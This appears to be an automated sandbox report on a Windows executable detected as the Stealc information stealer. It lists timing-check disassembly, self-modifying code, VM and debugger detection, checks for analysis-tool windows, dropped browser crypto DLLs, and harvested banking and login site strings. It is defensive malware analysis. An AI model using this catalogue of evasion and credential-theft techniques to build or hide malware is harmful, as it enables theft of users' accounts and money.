Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B163F second address: 13B1644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B1644 second address: 13B164A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B164A second address: 13B1650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B1650 second address: 13B1654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0B58 second address: 13C0B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0B5E second address: 13C0B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C072C second address: 13C0740 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBFh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF8A1 second address: 13CF8A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF8A5 second address: 13CF8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F148D354EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F148D354EC0h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D03D8 second address: 13D03DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D03DD second address: 13D0404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D354EBBh 0x00000009 jmp 00007F148D354EC8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0404 second address: 13D041F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202227h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D05AB second address: 13D05BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F148D354EBEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D05BF second address: 13D05C9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F148D202233h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D35C4 second address: 13D35E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D36A5 second address: 13D36A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D36A9 second address: 13D36DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F148D354EC8h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F148D354EBAh 0x00000015 ja 00007F148D354EB6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D36DD second address: 13D3728 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F148D20221Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ecx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push edi 0x00000017 pushad 0x00000018 jmp 00007F148D20221Fh 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f popad 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F148D202224h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D391C second address: 13D3927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F148D354EB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3927 second address: 13D392E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0285 second address: 52B0294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0294 second address: 52B02E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F148D20221Fh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F148D202229h 0x0000000f xor si, 8566h 0x00000014 jmp 00007F148D202221h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov ah, dh 0x00000023 mov ax, D2ABh 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02E6 second address: 52B02EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02EC second address: 52B02F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02F0 second address: 52B0320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F148D354EC4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0320 second address: 52B0341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F148D202225h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0341 second address: 52B0351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D354EBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0351 second address: 52B037B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D20221Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F148D202225h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B037B second address: 52B0381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0381 second address: 52B0385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0385 second address: 52B0389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03C2 second address: 52B03E6 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushfd 0x00000009 jmp 00007F148D20221Ch 0x0000000e sub al, 00000048h 0x00000011 jmp 00007F148D20221Bh 0x00000016 popfd 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03E6 second address: 52B042C instructions: 0x00000000 rdtsc 0x00000002 mov ah, B2h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F148D354EC0h 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F148D354EBDh 0x00000019 sbb si, 5F16h 0x0000001e jmp 00007F148D354EC1h 0x00000023 popfd 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B042C second address: 52B0432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0432 second address: 52B0436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AC7 second address: 52B0B16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F148D202223h 0x00000012 pop eax 0x00000013 jmp 00007F148D202229h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B16 second address: 52B0B36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 0E51F142h 0x00000008 mov ah, bl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F148D354EC0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B36 second address: 52B0B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B3C second address: 52B0B40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B40 second address: 52B0B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F148D20221Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B58 second address: 52B0B5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B5E second address: 52B0B70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, al 0x00000005 mov dl, B0h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B70 second address: 52B0B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11419FF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12DE278 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12DC8AA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 113F1EE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13066FD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13743D3 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 9.9 %

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EF4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00EEDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00EEE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EE16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00EF3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EEF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00EEBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00EF38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00EF4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00EEED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EEDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EE1160 GetSystemInfo,ExitProcess,

0_2_00EE1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: KFCAFIID.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: KFCAFIID.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: KFCAFIID.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: KFCAFIID.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: KFCAFIID.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: KFCAFIID.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: KFCAFIID.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: KFCAFIID.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: KFCAFIID.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: KFCAFIID.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: KFCAFIID.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: KFCAFIID.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: KFCAFIID.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: KFCAFIID.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: KFCAFIID.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: KFCAFIID.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: KFCAFIID.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: KFCAFIID.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: KFCAFIID.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: KFCAFIID.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2372959579.0000000001781000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@b\|
Source: file.exe, 00000000.00000002.2372959579.000000000173E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: KFCAFIID.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: KFCAFIID.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: KFCAFIID.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: KFCAFIID.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58470
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58467
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58487
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59657
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58482
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58521

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C815FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C815FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EE45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00EE45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00EF9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF9750 mov eax, dword ptr fs:[00000030h]

0_2_00EF9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00EF78E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C7EB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C7EB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3372, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00EF9600

Source: file.exe, file.exe, 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ]]Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7EB341 cpuid

0_2_6C7EB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00EF7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00EF7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00EF7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EF7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00EF7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2372959579.000000000173E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
